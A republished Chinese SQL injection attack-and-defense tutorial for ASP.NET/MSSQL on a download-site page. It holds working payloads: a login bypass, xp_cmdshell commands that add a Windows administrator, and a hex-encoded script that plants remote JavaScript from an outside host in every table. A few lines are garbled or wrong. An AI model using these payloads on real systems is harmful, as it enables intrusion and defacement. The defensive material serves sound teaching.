HI,欢迎您光临本站,秉承服务宗旨,销售只是起点,服务永无止境!
    • 短视频文案
      • 励志哲理
      • 名言美句
      • 情感语录
      • 回复热评
      • 解说文案
    • 短视频素材
      • 情感励志
      • 美食小吃
      • 体育运动
      • 生活人文
      • 妙招好物
      • 风景风光
      • 影音娱乐
      • 颜值时尚
      • 游戏动漫
      • 自然景观
    • 短视频课程
      • 同城课程
      • 带货课程
      • 投放课程
      • 玩法课程
    • 中视频素材
    • 短视频工具
    • 副业项目
资源分享吧
  • 首页
  • CMS模板host
    • DEDECMS模板965
    • 易优CMS318
    • WordPress模板146
    • Discuz模板101
    • 帝国CMS102
    • 苹果cms78
    • Pbootcms24
    • zblog模板2
  • 整站源码
    • 教育/交友/直播76
    • 商城/淘宝/网店26
    • 门户/论坛/信息27
    • 小说/新闻/博客76
    • 电影/视频/音乐22
    • 图片/素材/下载49
    • 支付/金融/货币356
    • 导航/目录/友链25
    • 会员/推广/任务57
    • 公众号/小程序/游戏133
  • 一元夺宝new
    E启学在线网校网站在线教育校园教学平台程序系统V1.0源码
    E启学在线网校网站在线教育校园教学平台程序系统V1.0源码
    Laravel开发MeEdu在线点播网站源码 知识付费应用系统源码
    Laravel开发MeEdu在线点播网站源码 知识付费应用系统源码
    一比一精仿电影挖片网苹果cmsv10模板
    一比一精仿电影挖片网苹果cmsv10模板
    织梦高仿dede58织梦模板下载站完整无错整站版源码 1.69GB打包
    织梦高仿dede58织梦模板下载站完整无错整站版源码 1.69GB打包
    蓝色清晰织梦资源网下载站源码
    蓝色清晰织梦资源网下载站源码
    全景通旗舰版最新源码 内核到krpano1.19pr8 支持任何高清图
    全景通旗舰版最新源码 内核到krpano1.19pr8 支持任何高清图
    thinkPHP音视频素材资源下载站整站源码 带会员系统+支付接口
    thinkPHP音视频素材资源下载站整站源码 带会员系统+支付接口
    仿集图网模板图片素材类模板织梦下载站源码带整站数据
    仿集图网模板图片素材类模板织梦下载站源码带整站数据
    织梦蓝色图纸展示类企业网站源码
    织梦蓝色图纸展示类企业网站源码
    Thinkphp5.0响应式进销存仓库管理系统源码
    Thinkphp5.0响应式进销存仓库管理系统源码
    prev
    next
  • 网页素材
    • 网页游戏148
    • 网页模板4723
    • 特效代码5467
  • 办公素材
    • PPT模板377
    • 简历模板0
  • 站长学院
    • DEDE教程352
    • wordpress教程416
    • SEO教程124
    • 其它文档教程13
  • 更多
    • 办公教程4
    • 群辉教程12
    • 电脑基础7124
    • GPS导航
    • 安卓系统15
      • Android资讯2
      • ROM0
      • 教程工具0
    • Win系统169
      • Windows XP3
      • Windows 77
      • Windows 80
      • Windows 1012
      • 服务器系统1129
      • Win主题12
      • Win教程26
      • Win资讯0
      • Win软件98
    • 站点标签
    • 更新日志
    • 其他10
登录/注册
  • 精品会员专享
  • 会员折扣下载
  • 每日海量更新
立即开通 开通会员抄底价
当前位置:资源分享吧 > SQL注入攻防入门详解 [图文并茂] 附示例下载
也想出现在这里? 联系我们吧

SQL注入攻防入门详解 [图文并茂] 附示例下载

作者 : 小编 本文共14606个字,预计阅读时间需要37分钟 发布时间: 2021-06-12 共1.73K人阅读
也想出现在这里? 联系我们吧

=============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。 (对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文) 下面的程序方案是采用 ASP.NET + MSSQL,其他技术在设置上会有少许不同。 示例程序下载:SQL注入攻防入门详解_示例 什么是SQL注入(SQL Injection) 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。 尝尝SQL注入 1. 一个简单的登录页面 关键代码:(详细见下载的示例代码)

复制代码

代码如下:

privateboolNoProtectLogin(string userName, string password) { int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format (\”SELECT COUNT(*) FROM Login WHERE UserName=\'{0}\’ AND Password=\'{1}\’\”, userName, password)); return count > 0 ? true : false; }

方法中userName和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(帐户:admin 123456) 1) 输入正常数据,效果如图:

image

合并的SQL为: SELECT COUNT(*) FROM Login WHERE UserName=\’admin\’ AND Password=\’123456\’ 2) 输入注入数据: 如图,即用户名为:用户名:admin’—,密码可随便输入

image

合并的SQL为: SELECT COUNT(*) FROM Login WHERE UserName=\’admin\’– Password=\’123\’ 因为UserName值中输入了“–”注释符,后面语句被省略而登录成功。(常常的手法:前面加上\’; \’ (分号,用于结束前一条语句),后边加上\’–\’ (用于注释后边的语句)) 2. 上面是最简单的一种SQL注入,常见的注入语句还有:

1) 猜测数据库名,备份数据库
a) 猜测数据库名: and db_name() >0 或系统表master.dbo.sysdatabases
b) 备份数据库:;backup database 数据库名 to disk = ‘c:\\*.db’;–
或:declare @a sysname;set @a=db_name();backup database @a to disk=\’你的IP你的共享目录bak.dat\’ ,name=\’test\’;–
2) 猜解字段名称
a) 猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,则返回正常
b) 读取法:and (select top 1 col_name(object_id(\’表名\’),1) from sysobjects)>0 把col_name(object_id(\’表名\’),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
3) 遍历系统的目录结构,分析结构并发现WEB虚拟目录(知道位置即可上传木马)
先创建一个临时表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
a) 利用xp_availablemedia来获得当前所有驱动器,并存入temp表中
;insert temp exec master.dbo.xp_availablemedia;–
b) 利用xp_subdirs获得子目录列表,并存入temp表中
;insert into temp(id) exec master.dbo.xp_subdirs \’c:\\\’;–
c) 利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中
;insert into temp(id,num1) exec master.dbo.xp_dirtree \’c:\\\’;– (实验成功)
4) 查询当前用户的数据库权限
MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
可通过1=(select IS_SRVROLEMEMBER(\’sysadmin\’))得到当前用户是否具有该权限。
5) 设置新的数据库帐户(得到管理员账户)
d) 在数据库内添加一个hax用户,默认密码是空
;execsp_addlogin\’hax\’;–
e) 给hax设置密码 (null是旧密码,password是新密码,user是用户名)
;execmaster.dbo.sp_passwordnul,passwordl,username;–
f) 将hax添加到sysadmin组
;execmaster.dbo.sp_addsrvrolemember \’hax\’ ,\’sysadmin\’;–
6) xp_cmdshell MSSQL存储过程
通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用 cmd.exe 工具,可以做什么自己多了解下。
下面我们使用xp_cmdshell来创建一个 Windows 用户,并开启远程登录服务:
a) 判断xp_cmdshell扩展存储过程是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = \’X\’ AND name =\’xp_cmdshell\’
b) 恢复xp_cmdshell扩展存储过程
Exec master.dbo.sp_addextendedproc \’xp_cmdshell\’,\’e:\\inetput\\web\\xplog70.dll\’;
开启后使用xp_cmdshell还会报下面错误:
SQL Server 阻止了对组件 \’xp_cmdshell\’ 的过程 \’sys.xp_cmdshell\’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 \’xp_cmdshell\’。有关启用 \’xp_cmdshell\’ 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
通过执行下面语句进行设置:
— 允许配置高级选项
EXEC sp_configure \’show advanced options\’, 1
GO
— 重新配置
RECONFIGURE
GO
— 启用xp_cmdshell
EXEC sp_configure \’xp_cmdshell\’, 0
GO
—重新配置
RECONFIGURE
GO
c) 禁用xp_cmdshell扩展存储过程
Exec master.dbo.sp_dropextendedproc\’xp_cmdshell\’;
d) 添加windows用户:
Exec xp_cmdshell\’net user awen /add\’;
e) 设置好密码:
Exec xp_cmdshell\’net user awen password\’;
f) 提升到管理员:
Exec xp_cmdshell\’net localgroup administrators awen /add\’;
g) 开启telnet服务:
Exec xp_cmdshell\’net start tlntsvr\’
7) 没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.
(本人windows7系统,测试下面SQL语句木有效果)
declare @shell int ;
execsp_OAcreate \’w script .shell\’,@shell output ;
execsp_OAmethod @shell,\’run\’,null,\’C:\\Windows\\System32\\cmd.exe /c net user awen /add\’;
execsp_OAmethod @shell,\’run\’,null,\’C:\\Windows\\System32\\cmd.exe /c net user awen 123\’;
execsp_OAmethod @shell,\’run\’,null,\’C:\\Windows\\System32\\cmd.exe /c net localgroup administrators awen /add\’;
在使用的时候会报如下错:
SQL Server 阻止了对组件 \’Ole Automation Procedures\’ 的过程 \’sys.sp_OACreate\’、\’sys.sp_OAMethod\’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 \’Ole Automation Procedures\’。有关启用 \’Ole Automation Procedures\’ 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
解决办法:
sp_configure \’show advanced options\’, 1;
GO
RECONFIGURE;
GO
sp_configure \’Ole Automation Procedures\’, 1;
GO
RECONFIGURE;
GO
好了,这样别人可以登录你的服务器了,你怎么看?
8) 客户端脚本攻击
攻击1:(正常输入)攻击者通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。
措施:转义提交的内容,.NET 中可通过System.Net.WebUtility.HtmlEncode(string) 方法将字符串转换为HTML编码的字符串。
攻击2:(SQL注入)攻击者通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,为了跳过System.Net.WebUtility.HtmlEncode(string) 转义,攻击者会将注入SQL经过“HEX编码”,然后通过exec可以执行“动态”SQL的特性运行脚本”。
参考:
注入:SQL注入案例曝光,请大家提高警惕
恢复:批量清除数据库中被植入的js
示例代码:(可在示例附带的数据库测试)
a) 向当前数据库的每个表的每个字段插入一段恶意脚本
复制代码

代码如下:

Declare @T Varchar(255),@C Varchar(255) Declare Table_Cursor Cursor For Select A.Name,B.Name From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype=\’u\’ And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec(\’update [\’+@T+\’] Set [\’+@C+\’]=Rtrim(Convert(Varchar(8000),[\’+@C+\’]))+\’\'<script src=http://8f8el3l.cn/0.js></script>\’\’\’) Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor DeallocateTable_Cursor

b) 更高级的攻击,将上面的注入SQL进行“HEX编码”,从而避免程序的关键字检查、脚本转义等,通过EXEC执行

复制代码

代码如下:

dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72; eXeC(@s);–

c) 批次删除数据库被注入的脚本

复制代码

代码如下:

declare @delStrnvarchar(500) set @delStr=\'<script src=http://8f8el3l.cn/0.js></script>\’ –要被替换掉字符 setnocount on declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnvarchar(500) set @iResult=0 declare cur cursor for selectname,id from sysobjects where xtype=\’U\’ open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for –xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型 select name from syscolumns where xtype in (231,167,239,175) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql=\’update [\’ + @tableName + \’] set [\’+ @columnName +\’]= replace([\’+@columnName+\’],\’\’\’+@delStr+\’\’\’,\’\’\’\’) where [\’+@columnName+\’] like \’\’%\’+@delStr+\’%\’\’\’ execsp_executesql @sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow>0 begin print \’表:\’+@tableName+\’,列:\’+@columnName+\’被更新\’+convert(varchar(10),@iRow)+\’条记录;\’ end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print \’数据库共有\’+convert(varchar(10),@iResult)+\’条记录被更新!!!\’ close cur deallocate cur setnocount off

d) 我如何得到“HEX编码”? 开始不知道HEX是什么东西,后面查了是“十六进制”,网上已经给出两种转换方式:(注意转换的时候不要加入十六进制的标示符 ’0x’ ) Ø 在线转换 (TRANSLATOR, BINARY),进入…… Ø C#版的转换,进入…… 防止SQL注入 1. 数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户。 如MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。 2. 自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。 在 ASP.NET 中,可通过web.config配置文件的<customErrors>节点设置:

复制代码

代码如下:

<customErrors defaultRedirect=\”url\” mode=\”On|Off|RemoteOnly\”> <error. . ./> </customErrors>
更详细,请进入……
mode:指定是启用或禁用自定义错误,还是仅向远程客户端显示自定义错误。
On
指定启用自定义错误。如果未指定defaultRedirect,用户将看到一般性错误。
Off
指定禁用自定义错误。这允许显示标准的详细错误。
RemoteOnly
指定仅向远程客户端显示自定义错误并且向本地主机显示 ASP.NET 错误。这是默认值。
看下效果图:
设置为<customErrors mode="On">一般性错误:

image

设置为<customErrors mode="Off">:

image

3. 把危险的和不必要的存储过程删除 xp_:扩展存储过程的前缀,SQL注入攻击得手之后,攻击者往往会通过执行xp_cmdshell之类的扩展存储过程,获取系统信息,甚至控制、破坏系统。

xp_cmdshell
能执行dos命令,通过语句sp_dropextendedproc删除,
不过依然可以通过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sql server 2000、windows7)
xpsql70.dll(sqlserer 7.0)
xp_fileexist
用来确定一个文件是否存在
xp_getfiledetails
可以获得文件详细资料
xp_dirtree
可以展开你需要了解的目录,获得所有目录深度
Xp_getnetname
可以获得服务器名称
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
可以访问注册表的存储过程
Sp_OACreate
Sp_OADestroy
Sp_OAGetErrorInfo
Sp_OAGetProperty
Sp_OAMethod
Sp_OASetPropertySp_OAStop
如果你不需要请丢弃OLE自动存储过程

4. 非参数化SQL与参数化SQL 1) 非参数化(动态拼接SQL) a) 检查客户端脚本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)将输入值中包含的《HTML特殊转义字符》转换掉。 b) 类型检查:对接收数据有明确要求的,在方法内进行类型验证。如数值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或数字等。 c) 长度验证:要进行必要的注入,其语句也是有长度的。所以如果你原本只允许输入10字符,那么严格控制10个字符长度,一些注入语句就没办法进行。 d) 使用枚举:如果只有有限的几个值,就用枚举。 e) 关键字过滤:这个门槛比较高,因为各个数据库存在关键字,内置函数的差异,所以对编写此函数的功底要求较高。如公司或个人有积累一个比较好的通用过滤函数还请留言分享下,学习学习,谢谢! 这边提供一个关键字过滤参考方案(MSSQL):

复制代码

代码如下:

public static bool ValiParms(string parms) { if (parms == null) { return false; } Regex regex = new Regex(\”sp_\”, RegexOptions.IgnoreCase); Regex regex2 = new Regex(\”\’\”, RegexOptions.IgnoreCase); Regex regex3 = new Regex(\”create \”, RegexOptions.IgnoreCase); Regex regex4 = new Regex(\”drop \”, RegexOptions.IgnoreCase); Regex regex5 = new Regex(\”select \”, RegexOptions.IgnoreCase); Regex regex6 = new Regex(\”\\\”\”, RegexOptions.IgnoreCase); Regex regex7 = new Regex(\”exec \”, RegexOptions.IgnoreCase); Regex regex8 = new Regex(\”xp_\”, RegexOptions.IgnoreCase); Regex regex9 = new Regex(\”insert \”, RegexOptions.IgnoreCase); Regex regex10 = new Regex(\”update \”, RegexOptions.IgnoreCase); return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || regex10.IsMatch(parms)))))))))); }

优点:写法相对简单,网络传输量相对参数化拼接SQL小 缺点: a) 对于关键字过滤,常常“顾此失彼”,如漏掉关键字,系统函数,对于HEX编码的SQL语句没办法识别等等,并且需要针对各个数据库封装函数。 b) 无法满足需求:用户本来就想发表包含这些过滤字符的数据。 c) 执行拼接的SQL浪费大量缓存空间来存储只用一次的查询计划。服务器的物理内存有限,SQLServer的缓存空间也有限。有限的空间应该被充分利用。 2) 参数化查询(Parameterized Query) a) 检查客户端脚本,类型检查,长度验证,使用枚举,明确的关键字过滤这些操作也是需要的。他们能尽早检查出数据的有效性。 b) 参数化查询原理:在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成 SQL 指令的编译后,才套用参数运行,因此就算参数中含有具有损的指令,也不会被数据库所运行。 c) 所以在实际开发中,入口处的安全检查是必要的,参数化查询应作为最后一道安全防线。 优点: Ø 防止SQL注入(使单引号、分号、注释符、xp_扩展函数、拼接SQL语句、EXEC、SELECT、UPDATE、DELETE等SQL指令无效化) Ø 参数化查询能强制执行类型和长度检查。 Ø 在MSSQL中生成并重用查询计划,从而提高查询效率(执行一条SQL语句,其生成查询计划将消耗大于50%的时间) 缺点: Ø 不是所有数据库都支持参数化查询。目前Access、SQL Server、MySQL、SQLite、Oracle等常用数据库支持参数化查询。 疑问:参数化如何“批量更新”数据库。 a) 通过在参数名上增加一个计数来区分开多个参数化语句拼接中的同名参数。 EG:

复制代码

代码如下:

StringBuilder sqlBuilder=new StringBuilder(512); Int count=0; For(循环) { sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString()); SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()} …… Count++; }

b) 通过MSSQL 2008的新特性:表值参数,将C#中的整个表当参数传递给存储过程,由SQL做逻辑处理。注意C#中参数设置parameter.SqlDbType = System.Data.SqlDbType.Structured; 详细请查看…… 疑虑:有部份的开发人员可能会认为使用参数化查询,会让程序更不好维护,或者在实现部份功能上会非常不便,然而,使用参数化查询造成的额外开发成本,通常都远低于因为SQL注入攻击漏洞被发现而遭受攻击,所造成的重大损失。 另外:想验证重用查询计划的同学,可以使用下面两段辅助语法

复制代码

代码如下:

–清空缓存的查询计划 DBCC FREEPROCCACHE GO –查询缓存的查询计划 SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text] FROM sys.dm_exec_cached_plans p OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql JOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handle GO

3) 参数化查询示例

效果如图:

image

参数化关键代码:

复制代码

代码如下:

Private bool ProtectLogin(string userName, string password) { SqlParameter[] parameters = new SqlParameter[] { new SqlParameter{ParameterName=\”@UserName\”,SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName}, new SqlParameter{ParameterName=\”@Password\”,SqlDbType=SqlDbType.VarChar,Size=20,Value=password} }; int count = (int)SqlHelper.Instance.ExecuteScalar (\”SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password\”, parameters); return count > 0 ? true : false; }

5. 存储过程 存储过程(Stored Procedure)是在大型数据库系统中,一组为了完成特定功能的SQL 语句集,经编译后存储在数据库中,用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。 优点: a) 安全性高,防止SQL注入并且可设定只有某些用户才能使用指定存储过程。 b) 在创建时进行预编译,后续的调用不需再重新编译。 c) 可以降低网络的通信量。存储过程方案中用传递存储过程名来代替SQL语句。 缺点: a) 非应用程序内联代码,调式麻烦。 b) 修改麻烦,因为要不断的切换开发工具。(不过也有好的一面,一些易变动的规则做到存储过程中,如变动就不需要重新编译应用程序) c) 如果在一个程序系统中大量的使用存储过程,到程序交付使用的时候随着用户需求的增加会导致数据结构的变化,接着就是系统的相关问题了,最后如果用户想维护该系统可以说是很难很难(eg:没有VS的查询功能)。 演示请下载示例程序,关键代码为:

复制代码

代码如下:

cmd.CommandText = procName; // 传递存储过程名 cmd.CommandType = CommandType.StoredProcedure; // 标识解析为存储过程

如果在存储过程中SQL语法很复杂需要根据逻辑进行拼接,这时是否还具有放注入的功能? 答:MSSQL中可以通过 EXEC 和sp_executesql动态执行拼接的sql语句,但sp_executesql支持替换 Transact-SQL 字符串中指定的任何参数值, EXECUTE 语句不支持。所以只有使用sp_executesql方式才能启到参数化防止SQL注入。 关键代码:(详细见示例) a) sp_executesql

复制代码

代码如下:

CREATE PROCEDURE PROC_Login_executesql( @userNamenvarchar(10), @password nvarchar(10), @count int OUTPUT ) AS BEGIN DECLARE @s nvarchar(1000); set @s=N\’SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password\’; EXEC sp_executesql @s,N\’@userNamenvarchar(10),@password nvarchar(10),@count int output\’,@userName=@userName,@password=@password,@count=@count output END

b) EXECUTE(注意sql中拼接字符,对于字符参数需要额外包一层单引号,需要输入两个单引号来标识sql中的一个单引号)

复制代码

代码如下:

CREATE PROCEDURE PROC_Login_EXEC( @userNamenvarchar(10), @password varchar(20) ) AS BEGIN DECLARE @s nvarchar(1000); set @s=\’SELECT @count=COUNT(*) FROM Login WHERE UserName=\’\’\’+CAST(@userName AS NVARCHAR(10))+\’\’\’ AND Password=\’\’\’+CAST(@password AS VARCHAR(20))+\’\’\’\’; EXEC(\’DECLARE @count int;\’ +@s+\’select @count\’); END

注入截图如下:

image

6. 专业的SQL注入工具及防毒软件 情景1 A:“丫的,又中毒了……” B:“我看看,你这不是裸机在跑吗?” 电脑上至少也要装一款杀毒软件或木马扫描软件,这样可以避免一些常见的侵入。比如开篇提到的SQL创建windows帐户,就会立马报出警报。 情景2 A:“终于把网站做好了,太完美了,已经检查过没有漏洞了!” A:“网站怎么被黑了,怎么入侵的???” 公司或个人有财力的话还是有必要购买一款专业SQL注入工具来验证下自己的网站,这些工具毕竟是专业的安全人员研发,在安全领域都有自己的独到之处。SQL注入工具介绍:10个SQL注入工具 7. 额外小知识:LIKE中的通配符 尽管这个不属于SQL注入,但是其被恶意使用的方式是和SQL注入类似的。

参考:SQL中通配符的使用
%
包含零个或多个字符的任意字符串。
_
任何单个字符。
[]
指定范围(例如 [a-f])或集合(例如 [abcdef])内的任何单个字符。
[^]
不在指定范围(例如 [^a – f])或集合(例如 [^abcdef])内的任何单个字符。

在模糊查询LIKE中,对于输入数据中的通配符必须转义,否则会造成客户想查询包含这些特殊字符的数据时,这些特殊字符却被解析为通配符。不与 LIKE 一同使用的通配符将解释为常量而非模式。 注意使用通配符的索引性能问题: a) like的第一个字符是\’%\’或\’_\’时,为未知字符不会使用索引, sql会遍历全表。 b) 若通配符放在已知字符后面,会使用索引。 网上有这样的说法,不过我在MSSQL中使用 ctrl+L 执行语法查看索引使用情况却都没有使用索引,可能在别的数据库中会使用到索引吧…… 截图如下:

image

有两种将通配符转义为普通字符的方法:

1) 使用ESCAPE关键字定义转义符(通用)
在模式中,当转义符置于通配符之前时,该通配符就解释为普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,请使用:
WHERE ColumnA LIKE \’%5/%%\’ ESCAPE \’/\’
2) 在方括号 ([ ]) 中只包含通配符本身,或要搜索破折号 (-) 而不是用它指定搜索范围,请将破折号指定为方括号内的第一个字符。EG:
符号
含义
LIKE \’5[%]\’
5%
LIKE \’5%\’
5 后跟 0 个或多个字符的字符串
LIKE \'[_]n\’
_n
LIKE \’_n\’
an, in, on (and so on)
LIKE \'[a-cdf]\’
a、b、c、d 或 f
LIKE \'[-acdf]\’
–、a、c、d 或 f
LIKE \'[ [ ]\’
[
LIKE \’]\’
] (右括号不需要转义)
所以,进行过输入参数的关键字过滤后,还需要做下面转换确保LIKE的正确执行
复制代码

代码如下:

private static string ConvertSqlForLike(string sql) { sql = sql.Replace(\”[\”, \”[[]\”); // 这句话一定要在下面两个语句之前,否则作为转义符的方括号会被当作数据被再次处理 sql = sql.Replace(\”_\”, \”[_]\”); sql = sql.Replace(\”%\”, \”[%]\”); returnsql; }

结束语:感谢你耐心的观看。恭喜你, SQL安全攻防你已经入门了…… 原文 http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html

网络安全 脚本入侵 脚本攻防 脚本防护
1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » SQL注入攻防入门详解 [图文并茂] 附示例下载

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html
小编

小编 VIP

分享到:
上一篇
安全防护 脚本攻击防范策略完全篇
下一篇
phpddos流量攻击预防方法

发表评论 取消回复

要发表评论,您必须先登录。

最新文章
餐饮火锅加盟网站pbootcms模板源码
餐饮火锅加盟网站pbootcms模板源码
源码下载新闻资讯博客网站pbootcms模板
源码下载新闻资讯博客网站pbootcms模板
绿色人造草坪地坪施工网站源码pbootcms模板
绿色人造草坪地坪施工网站源码pbootcms模板
红色火锅加盟网站pbootcms模板源码
红色火锅加盟网站pbootcms模板源码
蓝色源码钢结构工程基建网站pbootcms模板
蓝色源码钢结构工程基建网站pbootcms模板
标签云
DEDECMS (483) dedecms教程 (326) eyoucms (270) html (364) html5 (1717) html模板 (733) Linux (1245) linux教程 (1245) wordpress教程 (380) 下载 (277) 代码 (816) 企业网站模板 (874) 企业网站模板下载 (874) 免费企业网站模板 (874) 入侵防御 (270) 公司网站模板 (874) 切换 (502) 动画 (594) 国内网站模板 (324) 图片 (582) 技术网络漏洞 (347) 插件 (447) 效果 (765) 源码 (381) 漏洞 (371) 漏洞分析 (347) 特效 (789) 电脑使用 (4064) 电脑操作 (4064) 短视频素材 (606) 笔记本电脑价格 (4037) 笔记本电脑品牌排行 (4037) 笔记本电脑知识 (4037) 笔记本电脑评测 (4037) 素材 (483) 织梦 (407) 织梦教程 (342) 网站模板 (436) 网站源码 (417) 网站漏洞检测 (347) 网络安全WEB漏洞 (347) 菜单 (299) 视频 (376) 这是 (345) 鼠标 (417)

限时优惠

【阿里云】云产品采购季,助力行业复工。新用户专享1折起,云服务器低至0.75折,更多产品可叠加专属代金券下单
立即查看

相关推荐

劫持流量原理是什么?关于劫持流量的种类和产生
小编小编

劫持流量原理是什么?关于劫持流量的种类和产生

在鼠标点击的一刹那,流量在用户系统中流过层层节点,在路由的指引下奔向远程服务器。这段路程中短兵相接的战斗往往是最激烈的,在所有流量可能路过的节点往往都埋伏着劫持者,流量劫持的手段也层出不穷,从主页配置篡改、hosts劫持、进程Hook、启动劫持、LSP...
  • 5.69K
  • 免费
  • 下载
多层防护机制应对防范勒索软件的威胁
小编小编

多层防护机制应对防范勒索软件的威胁

近年来,中国的勒索软件明显的在增加,与此同时,防范勒索软件威胁更需要多层防护机制,想了解的用户快来看看下面的具体讲解的内容。 2016年7月14日,极密盾发布了最新的勒索软件风险研究报告,分析了2015年9月-2016年6月的勒索软件增长以及防治态势。...
  • 857
  • 免费
  • 下载
一次奇遇的渗透
小编小编

一次奇遇的渗透

作者:y0umer   打开网站发现   习惯的加了一个引号   确定是注入以后直接丢啊D了。(我懒)   这不悲剧了么,猜不出表段??   扫扫目录看看。   发现del.asp打开看看。。   错误提示的是在查询表达式中"id="...
  • 1.48K
  • 免费
  • 下载
电脑文件禁止员工随意拷贝、防止员工泄露电脑数据、电脑文档的方法
小编小编

电脑文件禁止员工随意拷贝、防止员工泄露电脑数据、电脑文档的方法

